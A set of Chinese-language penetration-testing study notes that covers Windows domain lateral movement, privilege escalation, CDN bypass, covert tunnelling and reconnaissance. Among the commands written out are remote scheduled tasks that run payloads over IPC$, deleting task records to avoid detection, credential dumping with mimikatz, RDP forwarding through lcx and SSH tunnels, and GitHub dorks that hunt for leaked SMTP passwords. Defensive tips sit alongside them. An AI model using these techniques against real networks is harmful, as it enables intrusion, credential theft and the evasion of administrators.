内网安全攻防(五)—域内横向移动

当拿到域中某台设备,骇客会以其为跳板横向渗透其他设备,最终获得所有设备权限。

一、常用windows远程连接

通常来说,我们在渗透测试要拿到的一些关键资源包括了目标计算机的用户明文密码或者NTLM Hash,通过PTH(pass the hash凭据传递)把得到的信息发送到目标机器进行验证,我们就获得了目标机器的使用权,建立连接后就能远程执行命令了。

1.IPC internet process connection

这是为了实现进程之间通信而开放的命名管道。通常在远程管理计算机和查看计算机的共享资源时使用。

ipc$
利用条件:
(1)开启了139、445
(2)管理员开启默认共享

建立ipc$连接远程目标计算机
net use \\ipaddress\ipc$ “password” /user:username

查看当前链接
net use

2.使用windows自带的工具获取远程主机信息

(1)dir命令

建立了连接后,用dir查看文件列表:

dir \\ipaddress\c$

(2)tasklist命令

用来查看进程
tasklist /S address /U username /P password

3.计划任务

(1)at命令:

用于创建计划任务的命令,主要应用在windows server 2008之前。所以如果测试的计算机使用的os是符合条件的版本,那么可以使用at命令在远程目标机器创建计划任务:
·使用copyd命令将payload文件复制到远程目标计算机中
·使用at命令定时启动该payload文件
·删除使用at命令创建计划任务的记录 //抹去证据防止被查

上述需要先建立ipc$作为前提

下面是at命令使用过程:
①查看目标系统时间,攻击者很喜欢抹去或者修改文件的时间
net time \\ipaddress

②将文件复制到目标计算机中
先创建一个calc.bat文件,内容为“calc”(在运行界面输入calc会弹出计算器)。也就是说这一步的目的是为了让计算机在某一时刻启动计算器。
copy calc.bat \\ipaddress\C$
上述命令目的是把刚才的bat文件传到目标计算机的C盘

③使用at创建任务
知道目标系统的时间之后,指定程序在计划时间启动
at \\ipaddress 4:11PM C:\calc.bat
Added a new job with job ID 7
创建ID为7的计划任务,在下午4点11分运行C盘的calc.bat文件

④清除at记录
任务记录会一直存在,攻击者不想被网络管理员发现,就会抹去记录
at \\ipaddress 7 /delect
删除ID为7的任务

现将结果写在本地文件,然后用type远程读取该文件,如下:
at \\ipaddress 4.11PM cmd.exe /c “ipconfig >C:/1.txt”
然后用type远程读取:
type \\ipaddress \C$\1.txt

经过实际测试,at命令如果不键入远程ip地址就默认是在本地进行计划。并且注意,在windows vista和2008之后at命令被废弃,应该使用schtasks命令

(2)schtasks命令

①创建test计划任务,该计划在开机时启动C盘下的calc.bat,权限为system
schtasks /create /s ipaddress /tn test /sc onstart /tr c:\calc.bat \ru system /f

②远程执行
schtasks /run /s ipaddress /i /tn “test” /f

③删除ipc$
net use 名称 /del /y

使用schtasks命令,会在系统留下日志文件C:\Windows\Tasks\SchedLgU.txt

二、windows系统散列值获取

LM Hash、NTLM Hash是两种用户明文密码进行加密的方法。在域中,用户信息存储在 ntds.dit中

windows密码一般由两部分:LM hash和NTLM Hash组成,结构为:

username:RID:LM-HASH:NT-HASH

注意!win2008之后LM hash被禁用,此时抓取到的LM Hash的值为
“aad3b435b51404eeaad3b435b51404ee” //这就表示其为空值或被禁用

1.单机抓取

我们要知道只有SYSTEM权限能抓散列值或者明文密码,本地用户名、散列值和其他验证信息都存在SAM文件中。
而lsass.exe进程是用来windows的安全策略,攻击者会用工具从内存的lsass.exe进程或者SAN文件导出敏感信息

其中,SAM文件地址在:C:\Windows、System32\config. 攻击者再关闭windows操作系统后用PE盘进入文件管理环境,直接复制SAM文件 //?阿这我没太理解,也许是攻击者获取了物理设备能这么搞吧

【工具】GetPass、PwDump7、QuarksPwDump

下面是提取的思路

①通过SAM和System文件抓取密码

②使用mimikatz在线读取SAM文件

③使用mimikatz离线读取lsass.dump文件

④使用Powershell对散列值进行Dump操作

⑤使用Powershell远程加载mimikatz抓取散列值和明文密码

【防御】:
win2012 以及以后关闭了Wdigest,攻击者无法从内存获取明文密码
win2012以及之前的下载补丁 KB2871991也可以阻止获取明文密码

2.使用Hashcat获取密码

它可以使用GPU来对密码来进行破解

三、哈希传递攻击

哈希传递攻击pass the hash 。获取域中一个管理员账号密码,就相当于获得其他本地管理员的账号密码

注意,随着安全意识提高,windows sever 2012 R2之后,默认在内存中不会记录明文密码

四、票就传递攻击

mimikatz的哈希传递功能需要本地管理员权限。mimikatz也有不需要权限也能横向渗透的方法,比如票据传递(pass the ticket,PTT)

[防范]:
·使用dir的时候,使用主机名,不用IP地址
·票据文件注入内存的默认有效时间为10小时
·在目标机器上不需要本地管理员权限即可进行票据传递

五、PsExec

这个软件是win用来运维的,一般在杀软白名单里
运行在windows vista\2000\xp\server 2003\ server 2008\server 2012\server 2016

六、WMI

windows management instrumentation.从win98就开始支持,可以在本地或远程管理计算机

因为越来越多安全厂商吧PsExec加入黑名单,所以转而用这个技术进行横向渗透,还有一个重大原因是,使用WMI不会记录在系统日志。

八、smbexec

可以通过文件共享(admin$、c$、ipc$、d$)在远程计算机系统执行命令

九、DCOM在远程系统中使用

十、SPN在域环境中使用

十一、exchang、邮件服务器安全

内网安全攻防(四)—权限提升

介绍windows下四种权限:

1.User:普通用户权限,能做的事最少因此最安全

2.Administrator:管理员权限。可以提权到System级别操作SAM文件

3.System:系统权限,可以对SAM等敏感文件进行读取,对散列值进行Dump操作

4.TrustedInstaller:这是windows中最高级别权限。对于系统文件能进行修改

提权方法:
1.纵向提权:低等级权限获得高权角色权限

2.横向提权:获取另一个和当前权限一样的角色的权限

常用提权方法:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方服务/软件提权等

一、系统内核溢出漏洞提权
参考复现DC-1靶场利用漏洞的思路方法

二、windows配置错误

常见利用:管理员凭据错误、服务配置错误、故意削弱的安全措施、用户权限过高

(1)、系统服务权限配置错误

(2)、注册表键AlwaysInstallElevated

(3)、可信任服务路径漏洞

该漏洞:包含空格并且没有被引号包裹,让存在缺陷的服务程序利用了属于可执行文件/文件夹的权限

如果一个服务的可执行文件的路径没有被双引号包起来并且含有空格,那么这个服务是有漏洞的!

原因:windows服务以system权限运行,系统解析服务对应的文件路径中的空格也会是以系统权限进行,那么对于路径中每一个空格,windows会找到并且执行与空格前面名字相匹配的程序。

直白的说,黑客配合文件上传漏洞,或和上传功能,将恶意程序上传到特殊路径,然后利用某个服务的漏洞修改服务的可执行文件的路径,也就是把恶意文件的路径加入其中,那么当服务重启,windows就会以系统权限执行恶意程序。

思路:metasploit下

1,查看是否存在可以利用的漏洞,输入下面命令能看到没有被引号包围的服务的路径
wmic service get name,displayname,pathname,startmode | findstr /i “Auto” |findstr /i /v “C:\Windows\\” | findstr /i /v “””

2.如果发现有含空格的路径,说明有漏洞,那么下面就是检测是否对目标文件夹有“写”的权限。使用工具“icacls”检查刚才得到的含有空格的路径。
权限:
·Everyone:所有用户都能修改
·(M):修改
·(F):完全控制
·(CI):从属容器将继承访问控制项
·(OI):从属文件将继承访问控制项

3.发现了漏洞并且能写入,就要修改路径并且重启服务了:
sc stop service_name
sc start service_name

(4)、自动安装配置文件

管理员配置多个设备会使用脚本,有时候会泄露账号密码

(5)、计划任务

查看计划任务:schtasks /query / fo LIST /v

(6)Empire内置模块

三、组策略首选项提权

SYSVOL是一个共享文件夹,它在活动目录AD里用于存储公共文件服务器副本,在域中的所有域控制器DC之间进行复制,自动同步以及共享。
所有组策略放在:C:\Windows\SYSVOL\DOMAIN\Policies\目录中

存在这么一种情况:所有的机器的本地管理员密码是相同的(有些人他就是不记得修改默认密码),也就是得到一台机子密码就得到所有管理员密码了。

【防御】2014微软修复该漏洞,不再将密码保存在组策略首选项中
·设置共享文件夹SYSVOL的访问全新啊
·把包含组策略密码的XML文件从SYSVOL目录中删除
·不要把密码放在所有域用户都有访问权限的文件中
·更改本地管理员密码

四、绕过UAC提权

对于版本比windows vista更高级别的os,如果权限不够,访问系统磁盘的根目录、windows目录、program files 目录、以及进行读写系统登录数据库(registry)的程序等操作,都需要经过UAC(user account control,用户账户控制)的认证

在win10很常见试图修改某些东西的时候都是会弹窗通知的,UAC有四种要求:
1.始终通知
2.仅在程序试图更改我的计算机的时候通知我
3.仅在程序试图改变我的计算机的时候通知我,但是不改变桌面亮度
4.从不提示

【防御】不让内网机器的使用者拥有本地管理员权限

五、令牌窃取

首先token是方便验证身份不用总是输入账号密码,但是如果token被别人获取,那么他人就可以冒充身份访问资源。

令牌产生是随机的不可预测的。

1.访问令牌(access token):代表访问控制操作主体的系统对象

2.密保令牌(security token):也叫认证令牌、硬件令牌,物理设备

3.会话令牌(session token):交互会话中唯一标识

【防御】:
1.对令牌时效性限制
2.加密令牌
3.使用加密链路SSL、TSL传输防止令牌被窃取

六、无凭证条件下的权限获取

两个概念:LLMNR、NetBIOS欺骗攻击

1.LLMNR本地链路多播名称解析
当DNS不能用,DNS客户端就会启用LLMNR解析本地网段中机器的名称,查询范围仅限于本地子网

2.NetBIOS
是一种网络协议,一般在由十几台计算机组成的局域网中,不支持IPv6

·NetBIOS-NS(名称服务):用于名称注册和解析,以启用会话和分发数据包,需要用域名服务器来注册NetBIOS的名称。默认监听UDP137端口

·datagram distribution service(数据包分发服务):无连接服务。负责进行错误检测和恢复,默认监听UDP138端口

·session service(会话服务):允许两台计算机建立连接提供错误检测和恢复,默认使用TCP 139端口

Net-NTLM Hash

NTLM Hash 用来保存win用户的密码散列值,保存在SAM文件(所以才要足够高的权限才能拿)或者NTDS.DIT数据库中。
Net-NTLM Hash:是网络中经过NTLM认证的散列值。挑战/响应验证中“响应”包含了Net-NTLM Hash。

工具:responder //可以监听LLMNR和NetBIOS

APP信息搜集

学习目标:学会搜集小程序的外在资产信息;搜集app的外在、内在资产信息

使用的工具:AppinfoScanner、安卓修改大师

本篇文章做实验的方式整理思路
实验平台:逍遥模拟器、windows10
实验工具:AppinfoScanner、安卓修改大师

实现过程:

一、app内在资源,分析源码

1.启动逍遥模拟器

2.AppinfoScanner原理是分析源码,在工具路径运行脚本,分析test.apk

我的环境配置少了某个包,运行失败。预期结果是能反编译出所有文件的。

3.打开安卓修改大师

4.打开测试用的apk文件,可以看到能进行的操作

安装好java环境之后让它反编译test.apk

分析出结果可以看到应用的信息,之后可以修改文件,做到替换里面的资源或者修改应用的权限。

下图的权限让我们思考,以前的那些o泡事件其实很多都是修改了手机的权限导致用户失去对手机的控制

看左边的功能,我们还可以到处java代码,放到自己的ide里面进行修改。在进行信息搜集时,我们可以通过像下图一样的搜索信息,查找一些接口,url等,进行下一步的分析

通过这个工具,我们可以做到搜索某些信息,修改这些信息,再打包(重新编译)。例如某个功能限制次数,我们反编译之后找到该功能代码,修改之后重新编译。

二、app外在资源

1.对app进行抓包,在之前讲过,工具用fiddler,不用bp是因为bp有些协议抓不了。开启抓包,打开apk,工具会记录操作过程中的数据交互情况

2.分析抓到的数据,有些数据可能是从cdn来的,要能判断所需真实信息,找到我们目标的ip地址,用WEB思路来进行搜集信息,比如进行端口扫描看开放的服务

3.当又遇到抓不到包的情况,我们就需要使用封包的思路来解决,因为可能存在壳,要先脱壳再编译。那么我们可以用工具看看有没有加壳,如下图,使用查壳工具打开test.apk.另外对于没有安装包的应用,还可以用工具【APK资源提取器】先把安装包apk文件提取出来,再放在查壳工具看。

显然没有加壳
封包工具

封包工具 把数据流量用数据包封装达到检测每一步操作的效果

4.Xposed 框架

以后学

CDN绕过

跟迪总学,记笔记
知识点:
·CDN知识-工作原理以及阻碍
·CDN配置-域名&区域&类型
·CDN绕过
·CDN绑定-HOSTS绑定指向访问

上了CDN之后,访问流程是这样的:
用户访问域名->cdn节点->真实服务器IP->访问目标主机

也就是说有些时候拿到权限可能只是CDN的权限,不是目的主机

之前我们也说过怎么知道有没有开CDN,如果在多地ping同一个域名出现不一样的ip地址,一般来说是开了CDN。
使用工具:超级ping,能实现从全国多地ping同一个域名

CDN配置:
·加速域名
·加速区域
·加速资源

CDN配置有关文章可以参考:
https://zhuanlan.zhihu.com/33440472

绕过CDN:

1.漏洞&遗留文件
遗留文件:当一个网站有phpinfo文件(用来调试php),会暴露服务器ip地址。注意到当没有配置内网网卡的话,会直接暴露真实ip,多个网卡就不一定是目标IP。
漏洞:ssrf漏洞,也可以爆出真实ip。
一般来说,正向访问CDN可能不能找到真实ip但是换个思路想,让CDN来找我们的时候就会暴露真实ip

2.子域名查询操作
当加速域名配置不包含子域名,比如加速了www.abc.com,而存在一个test.abc.com是没有被CDN加速的,也就是说访问这个test.abc.com会是真实ip,因为一般子域名和主站会绑定同一个IP

3.国外访问
其实能被国外访问找到真实ip,因为加速的时候选择加速的区域是国内。
【网站】https://tools.ipip.net/cdn.php
用非洲冷门国家去访问,效果好很多

4.主动邮件配合备案
很多站点有发送邮件的功能,而邮件系统一般在内部没有经过CDN解析,让目标主动发邮件会暴露目标真实ip地址。
比如,有密码找回,发送邮件之后在邮箱查看邮件能看到IP地址

有个网站直接看真实ip:
get-site-ip.com

5.fuckcdn
github上找这个工具使用

找到真实ip后要干嘛?修改hosts文件让以后域名与真实ip绑定
如在windows\System32\drivers\etc\hosts 写上ip地址与域名,ping域名就出来真实ip。
以后使用ip就不会误用节点的ip了

内网安全攻防(三)–隐藏通信隧道技术

隐藏通信信息隧道技术用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的信息传输。

咱也就是说这是进内网了留个通道传数据

常用隧道:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

一、判断内网连通外网情况
通过多种协议判断,常见允许流量出站端口号:80、8080、443、53、110、123等

1.ICMP协议
用内网机器ping外网ip

2.TCP协议
实用工具NC,也就是之前文章使用过的“军刀”,在内网机器下载nc,执行:
nc -zv ipaddress portnumber

3.HTTP协议
使用工具 curl
linux:系统自带。
windows:需要下载。
用法: curl ipaddress:portnumber

4.DNS协议
常用命令:nslookup、dig
nslookup(windows自带):nslookup ipaddress vps-ip
dig(linux自带):dig @vps-ip ipaddress

当流量不能直接出站,就需要在内网中使用代理服务器
a.查看网络连接,是否存在与其他机器的8080等端口的连接(可运行 ping -n l -a ip)
b.查看内网主机名有无带“proxy”的机器
c.查看浏览器的直接代理
d.根据pac文件的路径(可能是本地可能是远程)将其下载查看
e.用工具:curl ipaddress //不通
curl -x proxy -ip:port ipaddress //通

二、网络层隧道技术

最常用IPv6和ICMP

1.IPv6隧道
以IPv4作为隧道载体,把IPv6报文封装在IPv4报文内部,使IPv6报文能够传递。
目前很多边界设备、防火墙、IPS、IDS无法识别IPv6的通信数据,而大多数操作系统支持IPv6,所以需要进行人工配置。也就是说,攻击者可以利用和一点来绕过安全设备。

隧道技术有配置隧道自动隧道,区别在于:
只有执行隧道的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。

配置隧道要求隧道末端节点使用其他机制获取IPv4地址

支持IPv6的隧道工具:socat、6tunnel、nt6tunnel

【防御】:了解ipv6的具体漏洞,用防火墙和纵深防御来过滤ipv6通信

2.ICMP隧道
常用ICMP隧道工具:icmpsh、PingTunnel、icmptunnel、power shell icmp


【防御】:由于使用ICMP隧道会产生大量ICMP报文,可以通过检测来分析流量
·检测来自同一来源的ICMP报文。ping一般每秒最多发2个数据包,但使用ICMP隧道的浏览器会产生上千ICMP数据包
·注意payload大于64bit的ICMP数据包
·寻找响应数据包中的payload与请求包的payload不一致的ICMP数据包
·检查ICMP数据包的协议标签。例如,icmptunnel会在所有ICMP payload前添加“TUNL”

三、传输层隧道

当内网防火墙阻止对指定端口访问,在获取目标机器之后,可以使用IPTABLES打开指定端口(linux)

1.lcx端口转发
lcx是最经典的端口转发工具,它基于socket套接字实现端口转发。
在windows版本:lcx.exe
在linux版本:portmap

内网端口转发
(1)使用命令把目标机器3389端口所有数据转发到公网VPS的4444端口上:
lcx.exe -slave 公网ipaddress 4444 127.0.0.1 3389

(2)在VPS这台机器执行命令,把本机4444端口监听到的的数据转发到5555端口
lcx.exe -listen 4444 5555

(3)用 mstsc 连接远程桌面。用mstsc登录 公网ipaddress:5555,或者在VPS用mstsc登陆主机127.0.0.1:5555,用这两种方式访问目标服务器3389端口

本地端口映射
若防火墙把3389ban了不给过,此时可以将目标服务器的相应端口的数据透传到防火墙允许的端口,比如转到53。在目标主机执行,允许远程连接目标主机的53端口
lcx -tran 53 目标主机ipaddress 3389

2.netcat
之前实验用过netcat,可以查看以前文章
此处说明一下在内网环境,如果我们获取了web服务器权限,但是从外网无法直接访问其他内网服务器,就可以把web服务器作为代理服务器,反弹shell。这样的思路叫做内网代理。

四、应用层隧道技术

应用软件提供的端口来发送数据

1.ssh协议

【本地转发】
因为大部分防火墙都会通过ssh所以很多时候黑客会利用ssh协议传输数据
类似的,一般都用内网中被控制的机器作为跳板,去访问其他机器。
ssh -CfNg -L 1111(黑客机port) : 1.1.1.1(目标机器) :3389(目标port) root@192.168.1.11(跳板机)
然后输入跳板机密码,就实现了黑客机连接目标主机。也就是说这是通过web来访问目标机3389

用命令查看连接情况:
netstat -tulnp | grep “1111” //查看端口监听情况
rdesktop 127.0.0.1:1111 //在黑客机看1111情况

【远程转发】
有种情况,黑客机不能访问内网,但是内网中的web服务器可以访问外网,那么,我们可以通过web服务器让黑客机的数据转发到目标机的3389端口。
在我们获取的web服务器输入:
ssh -CfNg -R 2222(黑客机port) : 1.1.1.10(目标主机) :3389 root@192.168.1.4(黑客机)

【本地转发和远程转发】
本地转发,黑客机的指定端口接收远程主机(目标机)某个端口的数据
远程转发,黑客机利用ssh隧道,将所有访问远程主机(目标机)指定端口的数据传到本机对应端口

【动态转发】
动态端口映射是建立一个ssh加密的socks 4/5代理通道

【防御】:
设置白名单,指定ip才能连ssh

2.HTTP、HTTPS协议

【用处】HTTP Service代理用于将所有流量转发到内网。

【工具】reGeorg、meterpreter、tunna

【意义】使用HTTP隧道进行端口转发,不仅攻击者可以直接访问web服务器3389,而且暴力破解产生的流量特征不明显。所以我们平时维护要注意监控HTTP隧道情况

3.DNS协议

【用处】激增的DNS流量可能会被发现,但是基于传统的Socket隧道已经濒临淘汰。DNS、ICMP、HTTP/HTTPs由于难以被禁用,成为了攻击者控制隧道的主流渠道

为啥?因为你要域名解析就要用DNS,注意的是防火墙和入侵检测大都不会过滤掉DNS流量,DNS报文本身可以说是有穿透防火墙的能力


C&C服务器(command and control server)
用于管理僵尸网络以及进行APT攻击的服务器,分为:服务端(攻击者)—客户端(被控制的计算机)
C&C通信:植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信

DNS隧道技术其实用来实现C&C通信的,DNS解析预期返回一个ip地址,但是注意,返回的可以是任意字符串,包括加密的C&C指令。DNS隧道原理就是用DNS报文封装其他协议报文

使用DNS隧道的思路:
(1)查看DNS连通性
查看当前服务器是否允许通过内部DNS解析外部域名
cat /etc/resolv.confi|grep -v ‘#’ //查询当前内部域名和ip地址
nslookup hacke.testlab //查看能否与内部DNS通信
nslookup baidu.com //查看能否通过内部DNS服务器解析外部域名

(2)工具

dnscat2:

该工具使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。
两个模式:直连模式、中继模式

iodine:kali内置

【防御】:
·禁止网络中任何人向外部服务器发送dns请求,只允许与受信任的DNS服务器通信
·将邮件服务器、网关列入白名单并阻止传入和传出流量的TXT请求
·跟踪用户的DNS查询次数
·阻止ICMP

五、SOCKS代理

socks4:仅支持TCP协议
socks5:除了TCP,还支持各种身份验证机制,标准端口为 1080

socks能实现与目标内网计算机进行通信,避免多次端口转发

[工具]:EarthWorm、reGeorg、Socks、SocksCap64、Proxifier、ProxyChains

六、压缩数据

【意义】传得快

【工具】RAR、7-Zip

七、上传下载

假设情况不能上传shell但是可以执行命令的windows服务器,可以在shell命令行环境中对目标服务器进行上传和下载。

上传:
1.利用FTP
2.利用VBS
3.利用Debug
4.利用Nishang

下载:
1.利用bitsadmin
2.利用powershell

信息搜集-(网站信息最后更新2025年)

不懂就百度

一、可以通过审查知道的内容

1.网站使用的语言
F12审查网页,看看引用的包的后缀,比如引用php文件那么就用的php写的文件;
从审查network处抓包查看返回报文,能看到诸如中间件的信息;

2.网站操作系统
输入index.php,通过改变大小写,linux对大小写敏感;
ping,64或255一般是linux;128一般是win;如果ttl不是特殊的数字就看离哪个近;
端口扫描一扫也能知道;

3.数据库语言
百度一下最佳组合,比如问php跟apache跟什么数据库最合适;

4.通过查询备案信息

5.通过security.R1nG网站中,【全部】处可以找到信息搜集的一些网站,知识,思路。链接在之前的文章有。

二、利用其它思路获取信息

1.burp suit抓包,看是不是走的网络协议,具体抓包方式以前写的文章有。观察网址的变化,找到奇怪的网址然后保存它发送到repeater,对这个网站发送接收信息。也可以在网址访问该网站

2.百度端口扫描,扫那个坏网站,看到开放的的端口然后进行判断

网站源码获取

源码泄露;资源监控;
比如GitHub gitee上可能有人分享公司的代码。

为什么说PHP是世界上最好的语言?漏洞多

源码泄露的原因:
1.源码本身的特性入口
2.管理员不好的习惯
3.管理员不好的配置
4.管理员不好的意识
5.管理员资源信息搜集

1.cms
使用云悉指纹识别平台。为啥有些识别不出来,因为它们用的不是已知的开源的cms
识别的意义:找已知漏洞

2.备份文件
使用工具:7kb,扫描网站的一些目录,找到备份文件。能找到是因为管理员不好的习惯,没有抹去或者改变默认的信息。同时如果在错误的路径(目录)备份,备份文件就可能被扫出来,进而知道整个源码

3.配置不当-github泄露
程序员使用github或者gitee平台同步自己编写的代码。如果上架前不删除”.git”目录,可以通过这个目录来复原。
工具:githack(python2环境)

4.php特性
例如在网址输入:composer.json看到有使用框架的使用的具体技术

输入

服务器厂商信息:

外网ip怎么转到内网的?
通过网关或者路由器,添加端口映射,比如添加192.168.1.13,端口80(外)、80(内)这个映射,达到外放访问公网ip的80端口会跳转到内网ip的80端口

端口扫描工具:
masscan(快)
nmap
关于端口扫描,以前文章写有

waf识别:
csdn有相关文件

负载均衡识别:其实负载均衡也可以理解成cdn那样,在实训的时候我曾经用tomcat实现负载均衡


一、主机信息搜集

1、操作系统:

①WEB大小写区分操作系统(windows区分大小写,linux不区分)

②端口服务特征(windows3389,linux22)

③TTL判断(windows比较大,linux比较小)

2、IP:

①归属地查询

②归属云厂商

③IP反查机构

④IP反查域名

微步查询、站长之家、fofa

⑤IPc段查询

fofa

3、端口:

①网络资产引擎:fofa、hunter、quake、00信安

②工具:

nmap:最准,但是最慢

masscan:最快,误报高

无影

扫描会遇到的问题导致扫描不准确:

①扫描不到:防火墙策略、白名单策略等

绕过:

换协议扫描 //几率跳过,比如只限制了tcp没限制udp

②扫描不准:网站在内网经过中转,扫描的ip是转发的设备不是真实资产

绕过:

漏洞反连

4、判断资产属性:

1)网站服务器

2)数据库服务器

3)邮件系统服务器

4)文件存储服务器

5)网络通信服务器

6)安全系统服务器

标签名称地址
企业信息天眼查https://www.tianyancha.com/
企业信息小蓝本https://www.xiaolanben.com/
企业信息爱企查https://aiqicha.baidu.com/
企业信息企查查https://www.qcc.com/
企业信息国外企查https://opencorporates.com/
企业信息启信宝https://www.qixin.com/
备案信息备案信息查询http://www.beianx.cn/
备案信息备案管理系统https://beian.miit.gov.cn/
注册域名域名注册查询https://buy.cloud.tencent.com/domain
IP反查IP反查域名https://x.threatbook.cn/
标签名称地址
DNS数据dnsdumpsterhttps://dnsdumpster.com/
证书查询CertificateSearchhttps://crt.sh/
网络空间FOFAhttps://fofa.info/
网络空间全球鹰http://hunter.qianxin.com/
网络空间360https://quake.360.cn/quake/
威胁情报微步在线 情报社区https://x.threatbook.cn/
威胁情报奇安信 威胁情报中心https://ti.qianxin.com/
威胁情报360 威胁情报中心https://ti.360.cn/#/homepage
枚举解析在线子域名查询http://tools.bugscaner.com/subdomain/
枚举解析DNSGrep子域名查询https://www.dnsgrep.cn/subdomain
枚举解析工具强大的子域名收集器https://github.com/shmilylty/OneForAll
标签名称地址
网络空间钟馗之眼https://www.zoomeye.org/
网络空间零零信安https://0.zone/
网络空间Shodanhttps://www.shodan.io/
网络空间Censyshttps://censys.io/
网络空间ONYPHEhttps://www.onyphe.io/
网络空间FullHunthttps://fullhunt.io/
网络空间Soall Search Enginehttps://soall.org/
网络空间Netlashttps://app.netlas.io/responses/
网络空间Leakixhttps://leakix.net/
网络空间DorkSearchhttps://dorksearch.com/
威胁情报VirusTotal在线查杀平台https://www.virustotal.com/gui/
威胁情报VenusEye 威胁情报中心https://www.venuseye.com.cn/
威胁情报绿盟科技 威胁情报云https://ti.nsfocus.com/
威胁情报IBM 情报中心https://exchange.xforce.ibmcloud.com/
威胁情报天际友盟安全智能平台https://redqueen.tj-un.com
威胁情报华为安全中心平台https://isecurity.huawei.com/sec
威胁情报安恒威胁情报中心https://ti.dbappsecurity.com.cn/
威胁情报AlienVaulthttps://otx.alienvault.com/
威胁情报深信服https://sec.sangfor.com.cn/
威胁情报丁爸情报分析师的工具箱http://dingba.top/
威胁情报听风者情报源 start.mehttps://start.me/p/X20Apn
威胁情报GreyNoise Visualizerhttps://viz.greynoise.io/
威胁情报URLhaus 数据库https://urlhaus.abuse.ch/browse/
威胁情报Pithushttps://beta.pithus.org/

5、域名:

①、备案信息

通过域名查备案信息,备案信息获取更多域名

②、企业产权

通过企业产权查询Web,APP,小程序等版权资产

③、域名相关性

Whois信息:例如域名所有人、域名注册商、邮箱等。

通过域名注册接口获取后缀 //关注点是否有抢注

查询域名注册邮箱

通过域名查询备案号

通过备案号查询域名

反查注册邮箱

反查注册人

通过注册人查询到的域名在查询邮箱

通过上一步邮箱去查询域名

查询以上获取出的域名的子域名

6、子域名:

在后续测试中,还要注意对子域名进行筛选整理,太多的垃圾子域名和没用的子域名,主要看你的收集的子域名方法决定。

①、DNS数据

以DNS解析历史记录查询域名资产

②、证书查询

以SSL证书解析查询域名资产

③、网络空间

多网络空间综合型获取的记录

④、威胁情报

各类接口的集成的记录

⑤、枚举解析

结果主要以字典决定

https://github.com/knownsec/ksubdomain

https://github.com/shmilylty/OneForAll


指纹识别:

#Web架构

开源CMS:

Discuz、WordPress、PageAdmin、蝉知等

前端技术:

HTML5、Jquery、Bootstrap、Vue、NodeJS等

开发语言:

PHP、JAVA、Ruby、Python、C#、JS、Go等

框架组件:

SpringMVC、Thinkphp、Yii、Tornado、Vue等

Web服务器:

Apache、Nginx、IIS、Lighttpd等

应用服务器:

Tomcat、Jboss、Weblogic、Websphere等

数据库类型:

端口扫描,组合判断,应用功能

Mysql、SqlServer、Oracle、Redis、MongoDB等

操作系统信息:

Linux、Windows、Mac等

应用服务信息:

FTP、SSH、RDP、SMB、SMTP、LDAP、Rsync等

CDN信息:

帝联、Cloudflare、网宿、七牛云、阿里云等

WAF信息:

创宇盾、宝塔、ModSecurity、玄武盾、OpenRASP等。

蜜罐信息:

HFish、TeaPot、T-Pot、Glastopf等

其他组件信息:

FastJson、Shiro、Log4j、Solr、XStream等

#指纹识别:

1、平台:

https://www.yunsee.cn/ //使用云悉扫网站,识别cms信息等

http://finger.tidesec.net/

https://fp.shuziguanxing.com

2、谷歌插件:wappalyzer

3、网页图标:fofa、quake


参考文章:

https://www.secpulse.com/archives/124398.html

https://mp.weixin.qq.com/s/QgLDdaefXlZtvlSiFQShZw

https://mp.weixin.qq.com/s/zhjxW2mUEgq6dFAp3kBcgQ

泄漏点:

1、webpack打包泄露

2、composer.json

php的第三方依赖

3、github源码泄露

4、git源码泄露:

在url最后加上.git查看是否有泄露,然后运行githack.py下载泄露的文件(python2.7)

5、svn源码泄露

在url最后加上.svn查看是否有泄露,然后运行Svnhack下载泄露文件(python2.7)

6、网站备份压缩文件(xxx.zip xxx.rar)

7、DS_Store文件泄露

这是MAC系统下的用来保存展示文件/文件夹的数据文件,每个文件夹下对应一个,可能造成文件目录结构泄露,特别是备份文件、源代码等,低危。若发现某个路径下有.Ds_Store,使用ds_store_exp进行恢复,可能能还原目录结构。

8、hg源码泄露

9、SWP文件泄露(少见)

10、CVS泄露

11、Bzr泄露(少见)

12、WEB-INF/web.xml泄露

检查源码泄露的工具:

通用:https://github.com/0xHJK/dumpall

GIT:https://github.com/lijiejie/GitHack

SVN:https://github.com/callmefeifei/SvnHack

DS_Store:https://github.com/lijiejie/ds_store_exp

webpack打包:https://github.com/NothingCw/SourceDetector-dist

使用github搜索泄露情况:

①F12检查网页代码中的敏感js,到github上搜。

资源搜索语法:

in:name test #仓库标题搜索含有关键字

in:descripton test #仓库描述搜索含有关键字

in:readme test #Readme文件搜素含有关键字

stars:>3000 test #stars数量大于3000的搜索关键字

stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字 forks:>1000 test #forks数量大于1000的搜索关键字

forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字 size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字 pushed:>2019-02-12 test #发布时间大于2019-02-12的搜索关键字 created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字 user:test #用户名搜素

license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字 language:java test #在java语言的代码中搜索关键字

user:test in:name test #组合搜索,用户名test的标题含有test的

关键字配合谷歌搜索:

site:Github.com smtp

site:Github.com smtp @qq.com

site:Github.com smtp @126.com

site:Github.com smtp @163.com

site:Github.com smtp @sina.com.cn

site:Github.com smtp password

site:Github.com String password smtp

0、JS信息收集

接口URL提取

后端地址提取

敏感信息提取

配置信息提取

其他信息提取(环境,注释,用途等)

1、JS安全问题

源码泄漏,代码审计,JS逆向分析

未授权访问=JS里面分析更多的URL访问确定接口路径

敏感Key泄漏=JS文件中配置接口信息(云应用,短信,邮件,数据库等)

API接口安全=(代码中加密提交参数传递,更多的URL路径)

2、流行的Js框架有那些?

Vue NodeJS jQuery Angular等

3、如何判定JS开发应用?

插件wappalyzer

源程序代码简短

引入多个js文件

一般有/static/js/app.js等顺序的js文件

一般cookie中有connect.sid

4、如何获取更多的JS文件?

手工-浏览器搜索

半自动-Burpsuite插件

工具化-各类提取&FUZZ项目

5、如何快速获取价值信息?

src=

path=

method:”get”

http.get(“

